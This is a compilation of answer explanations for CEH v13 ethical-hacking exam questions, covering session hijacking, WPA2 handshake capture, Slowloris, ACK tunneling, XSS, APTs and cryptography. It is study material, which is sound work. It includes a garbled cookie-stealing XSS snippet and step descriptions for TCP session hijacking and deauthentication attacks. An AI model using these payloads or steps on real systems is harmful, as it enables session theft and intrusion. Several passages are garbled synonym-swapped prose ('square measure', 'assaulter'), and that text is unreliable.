According to CEH v13:

Reverse engineering is a common security assessment method to validate code quality and investigate vulnerabilities in mobile and binary applications.

Tools like JADX, Apktool, Hopper, and Ghidra are often used.

Incorrect Options:

B. App sandboxing restricts app access to system resources; it's a protection mechanism, not an analysis method.

C. Jailbreaking is the process of removing OS restrictions, not source code analysis.

D. Social engineering manipulates human behavior, unrelated to code or binary analysis.

Reference – CEH v13 Official Courseware:

Module 17: Hacking Mobile Platforms

Section: “Mobile Application Security Testing”

Subsection: “Reverse Engineering Tools and Techniques”

===========

bettercap is a tool that can perform session hijacking attacks on wireless networks, among other network security and penetration testing tasks. bettercap can capture and manipulate network traffic, perform man-in-the-middle attacks, spoof and sniff protocols, inject custom payloads, and more1.

bettercap can perform session hijacking attacks on wireless networks that use the WPA-PSK security protocol by exploiting the four-way handshake process that occurs when a client connects to a wireless access point. The four-way handshake is used to establish a shared encryption key between the client and the access point, based on the pre-shared key (PSK) that is configured on both devices. However, the four-way handshake also exposes some information that can be used to crack the PSK offline, such as the nonce values, the MAC addresses, and the message integrity code (MIC) of the packets2.

bettercap can capture the four-way handshake packets using its Wi-Fi module and save them in a file. The file can then be fed to a tool like Hashcat or Aircrack-ng to crack the PSK using brute force or dictionary attacks. Once the PSK is obtained, bettercap can use it to decrypt the wireless traffic and perform session hijacking attacks on the clients connected to the access point3.

Therefore, bettercap is an appropriate tool to carry out a session hijacking attack on a wireless network that uses the WPA-PSK security protocol.

A TCP/IP hijack is an attack that spoofs a server into thinking it’s talking with a sound client, once actually it’s communication with an assaulter that has condemned (or hijacked) the tcp session. Assume that the client has administrator-level privileges, which the attacker needs to steal that authority so as to form a brand new account with root-level access of the server to be used afterward. A tcp Hijacking is sort of a two-phased man-in-the-middle attack. The man-in-the-middle assaulter lurks within the circuit between a shopper and a server so as to work out what port and sequence numbers are being employed for the conversation.

First, the attacker knocks out the client with an attack, like Ping of Death, or ties it up with some reasonably ICMP storm. This renders the client unable to transmit any packets to the server. Then, with the client crashed, the attacker assumes the client’s identity so as to talk with the server. By this suggests, the attacker gains administrator-level access to the server.

One of the most effective means of preventing a hijack attack is to want a secret, that’s a shared secret between the shopper and also the server. looking on the strength of security desired, the key may be used for random exchanges. this is often once a client and server periodically challenge each other, or it will occur with each exchange, like Kerberos.

CEH methodology stresses prioritization based on risk, exploitability, and business impact. High-severity vulnerabilities—especially those related to outdated or unsupported server software—are frequently associated with known, publicly documented exploits. The proper next step after identifying such vulnerabilities is to confirm exploitability safely, typically by researching available exploit code, validating version-specific weaknesses, and determining whether the vulnerability can be successfully leveraged under the defined scope of engagement. CEH highlights that exploitation attempts must be evidence-driven, not arbitrary, and focusing on high-risk vulnerabilities allows testers to demonstrate meaningful security impacts. Brute-forcing (Option A) is unnecessary and high-noise. Ignoring or deprioritizing the high-risk finding (Options B and C) contradicts CEH risk-based assessment principles. Therefore, verifying exploitability of the high-risk vulnerability is the correct step.

In CEH v13 Module 02: Footprinting and Reconnaissance, and Module 03: Scanning Networks, several tools and techniques are introduced for analyzing public IP addresses when investigating a security alert.

Let’s evaluate the options:

A. DNS: Domain Name System (DNS) is essential in mapping IPs to domains. Reverse DNS lookups can reveal if the IP is associated with a malicious domain, and forward lookups can confirm legitimacy.

B. Whois: WHOIS records are crucial for identifying IP ownership, registration data, and abuse contacts. It helps assess if the IP belongs to a known threat actor or suspicious hosting provider.

C. Geolocation: Helps you understand where the IP is physically located. If the IP is in a country known for cybercrime or doesn’t match your user's location, it raises red flags.

D. ARP (Address Resolution Protocol): ❌ ARP is local to Layer 2 and works only within a LAN (Local Area Network). ARP cannot resolve or analyze public IP addresses which operate in Layer 3 of the OSI model.

Thus, ARP is the least relevant when analyzing a public IP address, as it deals with MAC-to-IP mapping only in local environments.

ARIN (American Registry for Internet Numbers) is a Regional Internet Registry (RIR) that provides information about IP address allocations and autonomous systems in North America. It’s used for WHOIS lookups and footprinting in reconnaissance.

The action that would best protect your web server from potential misconfiguration-based attacks is performing regular server configuration audits. A server configuration audit is a process of reviewing and verifying the security settings and parameters of the server, such as user accounts, permissions, services, ports, protocols, files, directories, logs, and patches. A server configuration audit can help you to identify and fix any security misconfigurations that may expose your server to attacks, such as using default credentials, enabling unnecessary services, leaving open ports, or missing security updates. A server configuration audit can also help you to comply with the security standards and best practices for your server, such as the CIS Benchmarks or the OWASP Secure Configuration Guide12.

The other options are not as effective as option A for the following reasons:

B. Enabling multi-factor authentication for users: This option is not relevant because it does not address the server misconfiguration issue, but the user authentication issue. Multi-factor authentication is a method of verifying the identity of the users by requiring them to provide two or more pieces of evidence, such as a password, a code, or a biometric factor. Multi-factor authentication can enhance the security of the user accounts and prevent unauthorized access, but it does not prevent the server from being attacked due to misconfigured settings or parameters3.

C. Implementing a firewall to filter traffic: This option is not sufficient because it does not prevent the server from being misconfigured, but only limits the exposure of the server to the network. A firewall is a device or software that monitors and controls the incoming and outgoing network traffic based on predefined rules. A firewall can protect the server from external attacks by blocking or allowing certain ports, protocols, or IP addresses. However, a firewall cannot protect the server from internal attacks or from attacks that exploit the allowed traffic. Moreover, a firewall itself can be misconfigured and cause security issues4.

D. Regularly backing up server data: This option is not preventive but reactive, as it does not protect the server from being attacked, but only helps to recover the data in case of an attack. Backing up server data is a process of creating and storing copies of the data on the server, such as files, databases, or configurations. Backing up server data can help you to restore the data in case of data loss, corruption, or deletion due to an attack. However, backing up server data does not prevent the server from being attacked in the first place, and it does not fix the security misconfigurations that may have caused the attack5.

Weaknesses of LM hashes include:

A. Passwords are converted to uppercase before hashing.

B. In older Windows systems, LM hashes were transmitted over the network, sometimes in plaintext (or easily intercepted).

D. Passwords are split into two 7-character chunks, which are hashed independently, reducing entropy.

From CEH v13 Courseware:

Module 6: Malware and Password Threats

Module 4: Windows Enumeration

Incorrect Option:

C: LM uses DES encryption with 56-bit keys (not 32-bit).

Gathering Wordlist from the Target Website An attacker uses the CeWL tool to gather a list of words from the target website and perform a brute-force attack on the email addresses gathered earlier. # Cewl (P.200/184)

JXplorer could be a cross platform LDAP browser and editor. it’s a standards compliant general purpose LDAP client which will be used to search, scan and edit any commonplace LDAP directory, or any directory service with an LDAP or DSML interface.

It is extremely flexible and can be extended and custom in a very number of the way. JXplorer is written in java, and also the source code and source code build system ar obtainable via svn or as a packaged build for users who wish to experiment or any develop the program.

JX is is available in 2 versions; the free open source version under an OSI Apache two style licence, or within the JXWorkBench Enterprise bundle with inbuilt reporting, administrative and security tools.

JX has been through a number of different versions since its creation in 1999; the foremost recent stable release is version 3.3.1, the August 2013 release.

JXplorer could be a absolutely useful LDAP consumer with advanced security integration and support for the harder and obscure elements of the LDAP protocol. it’s been tested on Windows, Solaris, linux and OSX, packages are obtainable for HPUX, AIX, BSD and it should run on any java supporting OS.

TCP port 21 is used by the File Transfer Protocol (FTP), which is an unencrypted protocol. To detect if unencrypted file transfers are taking place, you can apply the Wireshark display filter:

tcp.port == 21

This will show all traffic to and from FTP servers. Since FTP transmits usernames, passwords, and data in clear text, its use would violate the company’s policy.

CEH v13 states:

“FTP (Port 21) is a cleartext protocol vulnerable to sniffing. To enforce secure communication, companies often transition to SFTP (over SSH, port 22) or FTPS (FTP over TLS/SSL).”

Incorrect Options:

B. Port 23 is used for Telnet, not FTP.

C. Combining FTP (21) and SSH/SFTP (22) would include encrypted traffic, which is not what you're trying to isolate.

D. tcp.port != 21 filters out FTP traffic, which is the opposite of the intended goal.

Reference – CEH v13 Guide:

Module 01: Introduction to Ethical Hacking

Subsection: Sniffing and Cleartext Protocols

Wireshark iLab: Identifying FTP Traffic

===========

In active session hijacking, after identifying a valid session, the attacker must desynchronize the legitimate communication between the client and the server. To do this, Bob should:

Knock one of the parties offline (typically the client).

Then spoof the session by injecting crafted packets using the guessed sequence number.

From CEH v13 Courseware:

Module 11: Session Hijacking

CEH v13 Study Guide states:

“After identifying a session and predicting its sequence number, the attacker forces the original user offline, allowing them to assume control over the connection using spoofed packets.”

Incorrect Options:

A: Taking over the session is the ultimate goal, but the necessary step before that is disconnecting the original participant.

B: Sequence prediction is already done.

C: Sequence number has already been guessed.

CEH training outlines the standard methodology for attacking WPA2-PSK networks: capture the 4-way handshake and then attempt offline cracking of the pre-shared key. The most reliable way to force handshake generation is to perform a de-authentication attack using tools like Aireplay-ng. This attack momentarily disconnects a wireless client, forcing it to reauthenticate with the access point. During this reauthentication, the AP and client exchange the 4-way handshake packets necessary for offline cracking. CEH emphasizes that WPA2 encryption itself cannot be brute-forced directly; attackers must obtain the handshake and then apply dictionary or brute-force attacks offline. Attempting XSS or router spoofing does not capture the handshake and is unrelated to WPA2 key extraction. The deauth attack is also a classic wireless attack vector described extensively in CEH because it is effective, does not require interaction with the encryption algorithm, and works regardless of the strength of the AP’s passphrase. Once the handshake is captured, tools such as Hashcat are used to attempt key recovery.

Josh is preparing to send the payload (malicious file) to the target, which clearly maps to the Delivery phase of the Cyber Kill Chain.

According to CEH v13 and the Cyber Kill Chain model (developed by Lockheed Martin and used in ethical hacking methodology):

Delivery is the third phase of the kill chain.

It involves transmitting the weaponized payload to the target via phishing emails, USB drops, or malicious links.

In this case, Josh is preparing the email with a spoofed identity and malicious attachment — representing an act of delivery.

Incorrect options:

A. Exploitation occurs after delivery, when the payload is executed.

B. Weaponization is the phase where the malicious file is created (combining exploit with a backdoor or trojan).

D. Reconnaissance involves information gathering, completed earlier in the scenario.

Reference – CEH v13 Official Courseware:

Module 01: Introduction to Ethical Hacking

Section: “Cyber Kill Chain Model”

Table Reference: “Stages of a Cyber Attack”

CEH Engage Lab: “Kill Chain Simulation in Phishing Campaigns”

MX (Mail Exchange) records in DNS define the mail servers responsible for receiving email for a domain. Each MX record has a priority value.

Important concept:

A lower number indicates a higher priority.

Email servers attempt delivery to the mail server with the lowest priority first.

For example:

If MX records are:

10 mail1.example.com

20 mail2.example.com

Then mail1 will be tried first. If it fails, mail2 will be used.

So the statement “MX record priority increases as the number increases” is false.

CEH identifies insecure data transfer as a critical IoT weakness. Outdated encryption protocols such as SSLv2 fail to protect confidentiality or integrity. Without strong encryption and authentication, attackers can intercept, decrypt, and manipulate video feeds.

Employing a tool like Sublist3r, which is designed to enumerate the subdomains of websites using OSINT, would be the most effective method to accomplish this goal. This option works as follows:

Sublist3r is a python tool designed to enumerate subdomains of websites using OSINT (Open Source Intelligence). It helps penetration testers and bug hunters collect and gather subdomains for the domain they are targeting. Sublist3r enumerates subdomains using many search engines such as Google, Yahoo, Bing, Baidu, and Ask. Sublist3r also enumerates subdomains using Netcraft, Virustotal, ThreatCrowd, DNSdumpster, and ReverseDNS. Subbrute was integrated with Sublist3r to increase the possibility of finding more subdomains using bruteforce with an improved wordlist1.

By using Sublist3r, the tester can quickly and efficiently discover the subdomains of the target organization’s website, which can provide valuable information about the network structure, the services offered, the potential vulnerabilities, and the attack surface. Sublist3r can also be used to perform passive reconnaissance, which does not send any packets to the target domain, and thus avoids detection by the target organization12.

The other options are not as effective as option A for the following reasons:

B. Analyzing Linkedin profiles to find employees of the target company and their job titles: This option is not relevant because it does not address the subdomain enumeration task, but the social engineering task. Linkedin is a social networking platform that allows users to create and share their professional profiles, which may include their name, job title, company, skills, education, and contacts. By analyzing Linkedin profiles, the tester may be able to find employees of the target company and their job titles, which can be useful for crafting phishing emails, impersonating employees, or exploiting human weaknesses. However, this option does not help to discover the subdomains of the target organization’s website, which is the goal of this scenario3.

C. Utilizing the Harvester tool to extract email addresses related to the target domain using a search engine like Google or Bing: This option is not sufficient because it does not provide a comprehensive list of subdomains, but only a partial list based on email addresses. The Harvester is a tool that can extract email addresses, subdomains, hosts, employee names, open ports, and banners from different public sources, such as search engines, PGP key servers, and SHODAN computer database. By using the Harvester, the tester may be able to extract some email addresses related to the target domain, which can reveal some subdomains, such as mail.target.com or support.target.com. However, this option does not guarantee to find all the subdomains of the target organization’s website, as some subdomains may not have any email addresses associated with them, or may not be indexed by the search engines4.

D. Using a people search service, such as Spokeo or Intelius, to gather information about the employees of the target organization: This option is not applicable because it does not address the subdomain enumeration task, but the personal information gathering task. Spokeo and Intelius are people search services that can provide various information about individuals, such as their name, address, phone number, email, social media, criminal records, and financial history. By using these services, the tester may be able to gather information about the employees of the target organization, which can be useful for performing background checks, identity theft, or blackmail. However, this option does not help to discover the subdomains of the target organization’s website, which is the goal of this scenario56.

In CEH v13 Module 06: Malware Threats, a worm is described as a self-replicating piece of malware that spreads independently from one system to another without needing to attach itself to any file or program (unlike viruses).

Key Characteristics of Worms:

Capable of network propagation without human interaction.

Often used in mass attacks (e.g., WannaCry, Conficker).

Can cause significant damage by:

Consuming bandwidth.

Spreading payloads (e.g., ransomware).

Modifying or deleting files.

Option Clarification:

A. Rootkit: Hides presence of malware or attacker activities.

B. Trojan: Disguised as legitimate software; does not replicate.

C. Worm: Correct – self-replicating and spreads automatically.

D. Adware: Primarily shows ads; not typically destructive or self-replicating.

Developed by Robert “RSnake” Hansen, Slowloris is DDoS attack software that permits one computer to require down an internet server. Due the straightforward yet elegant nature of this attack, it requires minimal bandwidth to implement and affects the target server’s web server only, with almost no side effects on other services and ports.

Slowloris has proven highly-effective against many popular sorts of web server software, including Apache 1.x and 2.x.

Over the years, Slowloris has been credited with variety of high-profile server takedowns. Notably, it had been used extensively by Iranian ‘hackivists’ following the 2009 Iranian presidential election to attack Iranian government internet sites .

Slowloris works by opening multiple connections to the targeted web server and keeping them open as long as possible. It does this by continuously sending partial HTTP requests, none of which are ever completed. The attacked servers open more and connections open, expecting each of the attack requests to be completed.

Periodically, the Slowloris sends subsequent HTTP headers for every request, but never actually completes the request. Ultimately, the targeted server’s maximum concurrent connection pool is filled, and extra (legitimate) connection attempts are denied.

By sending partial, as against malformed, packets, Slowloris can easily elapse traditional Intrusion Detection systems.

Named after a kind of slow-moving Asian primate, Slowloris really does win the race by moving slowly and steadily. A Slowloris attack must await sockets to be released by legitimate requests before consuming them one by one.

For a high-volume internet site , this will take a while . the method are often further slowed if legitimate sessions are reinitiated. But within the end, if the attack is unmitigated, Slowloris—like the tortoise—wins the race.

If undetected or unmitigated, Slowloris attacks also can last for long periods of your time . When attacked sockets outing , Slowloris simply reinitiates the connections, continuing to reach the online server until mitigated.

Designed for stealth also as efficacy, Slowloris are often modified to send different host headers within the event that a virtual host is targeted, and logs are stored separately for every virtual host.

More importantly, within the course of an attack, Slowloris are often set to suppress log file creation. this suggests the attack can catch unmonitored servers off-guard, with none red flags appearing in log file entries.

Methods of mitigation

Imperva’s security services are enabled by reverse proxy technology, used for inspection of all incoming requests on their thanks to the clients’ servers.

Imperva’s secured proxy won’t forward any partial connection requests—rendering all Slowloris DDoS attack attempts completely and utterly useless.

Pharming is a cyberattack technique in which malicious code is used to redirect a website’s traffic to a fraudulent or malicious website without the user's knowledge. This redirection typically occurs through:

DNS poisoning or host file modification

Exploitation of vulnerabilities in DNS servers or user machines

Pharming aims to collect sensitive data (like usernames, passwords, credit card details) by making users believe they are interacting with a legitimate website when, in fact, they are on a fake one.

As per CEH v13 Official Courseware:

Pharming is a server-side or client-side attack that manipulates how URLs are resolved.

It differs from phishing in that it does not rely on fake emails or social engineering but rather on redirecting web traffic via compromised DNS infrastructure or local configuration.

Incorrect Options:

A. Spimming is the use of spam over instant messaging.

C. Phishing involves tricking users through fake emails or messages.

D. Spear-phishing is a targeted version of phishing directed at specific individuals or roles.

Reference – CEH v13 Official Courseware:

Module 09: Social Engineering

Section: “Phishing and Pharming Attacks”

Subsection: “Differences Between Phishing and Pharming”

Comprehensive and Detailed Explanation:

Social engineering is a psychological manipulation technique used by attackers to trick individuals into divulging confidential or personal information that may be used for fraudulent purposes.

It relies on human interaction and may involve tactics such as:

Impersonation

Pretexting

Phishing

Baiting

Rather than attacking systems directly, attackers exploit human trust and error.

From CEH v13 Courseware:

Module 7: Social Engineering

CEH teaches that certain advanced intrusion evasion techniques rely on understanding how firewalls differentiate between new connections and established traffic. Most perimeter firewalls scrutinize SYN packets and initial HTTP requests but allow ACK packets from established sessions to pass with minimal filtering. ACK tunneling leverages this behavior by embedding malicious payloads inside ACK packets, which appear to be part of a legitimate, pre-established session. Because ACK packets are often considered "safe," they bypass deep inspection engines, intrusion detection systems, and application-layer gateways. This method allows attackers to move data or commands covertly between compromised internal systems and external hosts. CEH references such evasion strategies when discussing bypassing stateful firewalls and making malicious traffic appear legitimate. Port knocking and SYN scans would initiate new connections—precisely what the firewall is heavily inspecting. ICMP flooding is noisy and easily detected. ACK tunneling is specifically designed for stealth and is aligned with red team tradecraft for avoiding packet-level inspection mechanisms.

document.write(< cookie =+ escape(document.cookie) +/ >); (Cookie and session ID theft)

As seen in the indicated question, cookies are escaped and sent to script to variable ‘cookie’. If the malicious user would inject this script into the website’s code, then it will be executed in the user’s browser and cookies will be sent to the malicious user.

The scenario describes an API vulnerability where unauthorized users are able to view, modify, or delete sensitive data by interacting with API objects. This indicates a failure in access control—specifically, a lack of Attribute-Based Access Control (ABAC) validation.

Attribute-Based Access Control (ABAC):

ABAC is an advanced access control model that evaluates access permissions based on attributes of the user, the resource, and the environment (e.g., user role, data sensitivity, location, etc.).

When ABAC is not properly implemented ("No ABAC validation"), APIs may allow users to access or manipulate objects they shouldn't have access to.

In APIs, this typically results in vulnerabilities like Insecure Direct Object Reference (IDOR), where users can tamper with object identifiers (IDs) to access or alter data that doesn’t belong to them.

This is one of the top risks highlighted by the OWASP API Security Top 10 (e.g., Broken Object Level Authorization).

Incorrect Options:

A. Code injection refers to injecting malicious code (e.g., SQLi, XSS), not improper access control.

B. Improper use of CORS (Cross-Origin Resource Sharing) may lead to unauthorized data exposure but doesn’t describe unauthorized object access in an API.

D. Business logic flaws relate to weaknesses in application workflows and rules, not direct access control failures.

Reference – CEH v13 Official Courseware:

Module 14: Hacking Web Applications

Section: "API Security Threats"

Subsection: "Access Control Failures in APIs (IDOR, BOLA, ABAC-related flaws)"

OWASP API Security Top 10: 2023 – A1: Broken Object Level Authorization

CEH iLabs and CEH Engage also demonstrate API-based attack vectors exploiting access control weaknesses.

CEH v13 outlines a structured approach to vulnerability assessment and exploitation. After identifying a high-severity vulnerability, the next critical step is verification and research, not immediate exploitation. This ensures accuracy, reduces false positives, and avoids unnecessary risk. CEH emphasizes that testers must validate vulnerability details, confirm version applicability, assess exploit availability (e.g., Metasploit, Exploit-DB), and evaluate potential impact. Attempting DoS attacks (Option A) is prohibited unless explicitly scoped and does not align with responsible testing. Brute-force attacks (Option B) are unrelated to software version vulnerabilities. Ignoring the issue (Option D) violates CEH methodology. The correct process is to research and verify—ensuring exploitation is safe, relevant, and authorized. This aligns with CEH’s vulnerability management lifecycle: discovery → verification → prioritization → exploitation (when allowed) → reporting.

In CEH v13 Module 10: Vulnerability Assessment, the Vulnerability Management Lifecycle is defined with the following structured steps:

Identify assets & baseline (Step 2)

Vulnerability scanning (Step 5)

Risk assessment/prioritization (Step 6)

Remediation (Step 1)

Verification (Step 3)

Continuous monitoring (Step 4)

So the correct lifecycle flow is:

2 → 5 → 6 → 1 → 3 → 4

This ensures vulnerabilities are identified, assessed, remediated, validated, and monitored on an ongoing basis.

CEH v13 emphasizes that after identifying vulnerabilities during scanning, testers must validate findings to determine real impact and eliminate false positives. This requires safe, controlled exploitation using approved tools such as Metasploit, Nikto, or custom proof-of-concept scripts. Misconfigurations labeled as medium-risk may still provide privilege escalation, data exposure, or footholds for further attacks. CEH methodology reinforces that exploitation should always follow the scope and rules of engagement and should avoid disruptive activities like brute-forcing or DoS attacks unless explicitly authorized. Ignoring the vulnerabilities is never acceptable in a professional assessment. Verifying the issue helps the organization prioritize remediation using evidence-based results. Therefore, the correct next step is to verify the vulnerability through controlled exploitation.

Webhooks are one of a few ways internet applications will communicate with one another.

It allows you to send real-time data from one application to another whenever a given event happens.

For example, let’s say you’ve created an application using the Foursquare API that tracks when people check into your restaurant. You ideally wish to be able to greet customers by name and provide a complimentary drink when they check in.

What a webhook will is notify you any time someone checks in, therefore you’d be able to run any processes that you simply had in your application once this event is triggered.

The data is then sent over the web from the application wherever the event originally occurred, to the receiving application that handles the data.

Here’s a visual representation of what that looks like:

A webhook url is provided by the receiving application, and acts as a phone number that the other application will call once an event happens.

Only it’s more complicated than a phone number, because data about the event is shipped to the webhook url in either JSON or XML format. this is known as the “payload.”

Here’s an example of what a webhook url looks like with the payload it’s carrying:

What are Webhooks? Webhooks are user-defined HTTP callback or push APIs that are raised based on events triggered, such as comment received on a post and pushing code to the registry. A webhook allows an application to update other applications with the latest information. Once invoked, it supplies data to the other applications, which means that users instantly receive real-time information. Webhooks are sometimes called “Reverse APIs” as they provide what is required for API specification, and the developer should create an API to use a webhook. A webhook is an API concept that is also used to send text messages and notifications to mobile numbers or email addresses from an application when a specific event is triggered. For instance, if you search for something in the online store and the required item is out of stock, you click on the “Notify me” bar to get an alert from the application when that item is available for purchase. These notifications from the applications are usually sent through webhooks.

The sequence of actions that would provide the most comprehensive information about the network’s status is to use Hping3 for an ICMP ping scan on the entire subnet, then use Nmap for a SYN scan on identified active hosts, and finally use Metasploit to exploit identified vulnerabilities. This sequence of actions works as follows:

Use Hping3 for an ICMP ping scan on the entire subnet: This action is used to discover the active hosts on the network by sending ICMP echo request packets to each possible IP address on the subnet and waiting for ICMP echo reply packets from the hosts. Hping3 is a command-line tool that can craft and send custom packets, such as TCP, UDP, or ICMP, and analyze the responses. By using Hping3 for an ICMP ping scan, the hacker can quickly and efficiently identify the live hosts on the network, as well as their response times and packet loss rates12.

Use Nmap for a SYN scan on identified active hosts: This action is used to scan the open ports and services on the active hosts by sending TCP SYN packets to a range of ports and analyzing the TCP responses. Nmap is a popular and powerful tool that can perform various types of network scans, such as port scanning, service detection, OS detection, and vulnerability scanning. By using Nmap for a SYN scan, the hacker can determine the state of the ports on the active hosts, such as open, closed, filtered, or unfiltered, as well as the services and protocols running on them. A SYN scan is also known as a stealth scan, as it does not complete the TCP three-way handshake and thus avoids logging on the target system34.

Use Metasploit to exploit identified vulnerabilities: This action is used to exploit the vulnerabilities on the active hosts by using pre-built or custom modules that leverage the open ports and services. Metasploit is a framework that contains a collection of tools and modules for penetration testing and exploitation. By using Metasploit, the hacker can launch various attacks on the active hosts, such as remote code execution, privilege escalation, or backdoor installation, and gain access to the target system or data. Metasploit can also be used to perform post-exploitation tasks, such as gathering information, maintaining persistence, or pivoting to other systems .

The other options are not as comprehensive as option B for the following reasons:

A. Initiate with Nmap for a ping sweep, then use Metasploit to scan for open ports and services, and finally use Hping3 to perform remote OS fingerprinting: This option is not optimal because it does not use the tools in the most efficient and effective way. Nmap can perform a ping sweep, but it is slower and less flexible than Hping3, which can craft and send custom packets. Metasploit can scan for open ports and services, but it is more suitable for exploitation than scanning, and it relies on Nmap for port scanning anyway. Hping3 can perform remote OS fingerprinting, but it is less accurate and reliable than Nmap, which can use various techniques and probes to determine the OS type and version13 .

C. Start with Hping3 for a UDP scan on random ports, then use Nmap for a version detection scan, and finally use Metasploit to exploit detected vulnerabilities: This option is not effective because it does not use the best scanning methods and techniques. Hping3 can perform a UDP scan, but it is slower and less reliable than a TCP scan, as UDP is a connectionless protocol that does not always generate responses. Scanning random ports is also inefficient and incomplete, as it may miss important ports or services. Nmap can perform a version detection scan, but it is more useful to perform a port scan first, as it can narrow down the scope and speed up the scan. Metasploit can exploit detected vulnerabilities, but it is not clear how the hacker can identify the vulnerabilities without performing a vulnerability scan first13 .

D. Begin with NetScanTools Pro for a general network scan, then use Nmap for OS detection and version detection, and finally perform an SYN flooding with Hping3: This option is not comprehensive because it does not cover all the aspects and objectives of a network scan. NetScanTools Pro is a graphical tool that can perform various network tasks, such as ping, traceroute, DNS lookup, or port scan, but it is less powerful and versatile than Nmap or Hping3, which can perform more advanced and customized scans. Nmap can perform OS detection and version detection, but it is more useful to perform a port scan first, as it can provide more information and insights into the target system. Performing an SYN flooding with Hping3 is not a network scan, but a denial-of-service attack, which can disrupt the network and alert the target system, and it is not an ethical or legal action for a hired hacker13 .

In an inference-based assessment, scanning starts by building an inventory of the protocols found on the machine. After finding a protocol, the scanning process starts to detect which ports are attached to services, such as an email server, web server, or database server. After finding services, it selects vulnerabilities on each machine and starts to execute only those relevant tests.

Insecure communication is defined in CEH’s mobile and IoT security modules as the failure to encrypt sensitive data transmitted between a device and a server. When applications use plain HTTP instead of HTTPS, all traffic—including authentication tokens, user identifiers, and session data—can be monitored and altered by an attacker through network sniffing or man-in-the-middle attacks. CEH emphasizes that insecure transport channels represent one of the most common and critical weaknesses in mobile ecosystems, allowing attackers to harvest credentials or inject malicious commands. Security misconfiguration refers to improper server settings, while SSL pinning issues involve certificate validation bypassing. Insufficient input validation pertains to application-side data validation. None of these align as directly as insecure communication, which precisely describes the unencrypted data exposure.

A rootkit is a type of stealth malware designed to hide the existence of certain processes or programs from normal detection methods. It can:

Hide itself and other processes

Conceal files and registry entries

Intercept system calls or keystrokes (keylogging)

Maintain persistent access

From CEH v13 Courseware:

Module 6: Malware Threats → Rootkits

Incorrect Options:

A: A Trojan may offer remote access but doesn't necessarily hide itself.

C: DoS tools are used to overload systems, not hide.

D: Scanners detect vulnerabilities, not conceal activities.

E: A backdoor may provide unauthorized access, but rootkits focus on hiding.

CEH defines ethical hacking as the authorized, structured, and permission-based process of identifying vulnerabilities to strengthen an organization’s security posture. Ethical hackers operate under a signed scope-of-work and follow legal boundaries. Malicious hackers, by contrast, exploit systems without permission, often with harmful or criminal intent. CEH emphasizes that both ethical and malicious hackers may use similar tools, techniques, and methodologies; the distinction lies entirely in authorization, intent, and legality. Ethical hacking is conducted to improve defenses, while malicious hacking targets exploitation, theft, or disruption. Nothing in CEH materials suggests that toolsets or work styles distinguish the two groups; permission and lawful operation remain the central differentiators.

Comprehensive and Detailed Explanation:

Nikto is an open-source web server scanner that:

Checks for common vulnerabilities

Detects outdated software versions

Flags insecure configurations and files

It is widely used for quick and comprehensive web vulnerability assessments.

From CEH v13 Courseware:

Module 10: Web Application Hacking → Web Vulnerability Scanning Tools

An advanced persistent threat (APT) may be a broad term wont to describe AN attack campaign within which an intruder, or team of intruders, establishes a bootleg, long presence on a network so as to mine sensitive knowledge.

The targets of those assaults, that square measure terribly fastidiously chosen and researched, usually embrace massive enterprises or governmental networks. the implications of such intrusions square measure huge, and include:

Intellectual property thieving (e.g., trade secrets or patents)

Compromised sensitive info (e.g., worker and user personal data)

The sabotaging of essential structure infrastructures (e.g., information deletion)

Total website takeovers

Executing an APT assault needs additional resources than a regular internet application attack. The perpetrators square measure typically groups of intimate cybercriminals having substantial resource. Some APT attacks square measure government-funded and used as cyber warfare weapons.

APT attacks dissent from ancient internet application threats, in that:

They’re considerably additional advanced.

They’re not hit and run attacks—once a network is infiltrated, the culprit remains so as to realize the maximum amount info as potential.

They’re manually dead (not automated) against a selected mark and indiscriminately launched against an outsized pool of targets.

They typically aim to infiltrate a complete network, as opposition one specific half.

More common attacks, like remote file inclusion (RFI), SQL injection and cross-site scripting (XSS), square measure oftentimes employed by perpetrators to ascertain a footing in a very targeted network. Next, Trojans and backdoor shells square measure typically wont to expand that foothold and make a persistent presence inside the targeted perimeter.

Comprehensive and Detailed Explanation From CEH v13 Guide:

The Network Time Protocol (NTP) is used by systems, including Linux servers, to synchronize their clocks with a time server. If NTP fails, time discrepancies may lead to inaccurate log records and affect security monitoring.

CEH v13 Reference:

Module 17: Evading IDS, Firewalls, and Honeypots – Log Tampering

“Accurate timekeeping is essential for proper logging and correlation. NTP ensures system time is synchronized across hosts.”

=============================================================

Passive reconnaissance focuses on collecting information without directly touching or interacting with the target’s systems. CEH materials stress that any action that sends network traffic to the target—such as scanning, probing, fingerprinting, or enumeration—creates logs and increases the risk of detection. Email headers, however, are considered an excellent source of passive intelligence because they reveal internal IP structures, routing paths, mail server hostnames, internal domain formats, and technology stacks without requiring interaction with the target environment. Since these headers are already in the possession of the ethical hacker through legitimate communication records, examining them does not generate traffic or trigger monitoring systems. SSL certificates and WHOIS data provide valuable external information, but they rarely disclose internal addressing schemes. Active scanning tools, such as Nmap, would immediately violate the requirement to avoid detection. Therefore, analyzing previously received email headers is the most effective and covert method for extracting internal network details during the reconnaissance phase.

Bob wants Alice to verify that the message hasn’t been tampered with. This is a use case for ensuring data integrity and authenticity. The process described matches the creation of a digital signature:

Bob computes a checksum (typically a cryptographic hash) of the message.

Then, he encrypts this checksum (hash) using his own private key.

Alice receives the message and decrypts the checksum using Bob’s public key.

If the decrypted checksum matches the hash she computes from the received message, she confirms the message’s integrity and authenticity.

This is a fundamental principle of digital signatures.

Incorrect Options:

A. Alice's private key is never used by others; it's confidential.

B. Encrypting with Alice’s public key ensures confidentiality, not authenticity.

D. Bob’s public key is used by the receiver to verify authenticity, not for encryption in this context.

Reference – CEH v13 Official Courseware:

Module 20: Cryptography

Section: “Digital Signatures”

Subsection: “Using Private Keys to Sign and Public Keys to Verify”

CEH Engage Lab: Email Signing and Verification

===========

Comprehensive and Detailed Explanation:

Cryptographic hash functions provide:

Integrity: Any change in the input changes the output hash.

Collision Resistance: It is computationally infeasible to find two inputs that produce the same hash.

This ensures data is not altered during transmission.

From CEH v13 Courseware:

Module 10: Cryptography → Hashing Functions (e.g., SHA-256, MD5)

Comprehensive and Detailed Explanation:

Fake antivirus (also known as scareware) tricks users into downloading malware disguised as legitimate antivirus software.

The best approach:

Google the product name and URL.

Check reputable forums, antivirus vendors, or security advisories.

Look for phishing warnings or reports of malware.

From CEH v13 Courseware:

Module 7: Social Engineering and Phishing Scams

Module 6: Malware Threats → Rogue Software

In ethical hacking and penetration testing, assessing the security posture of a target system requires direct technical interaction with that system. The combination of techniques in option D—port scanning, banner grabbing, and service identification—provides actionable and detailed insight into the system’s vulnerabilities, services, and configurations.

According to CEH v13 Official Courseware:

Port scanning is the process of identifying open ports and the services running on them. It reveals:

Which ports are open or closed

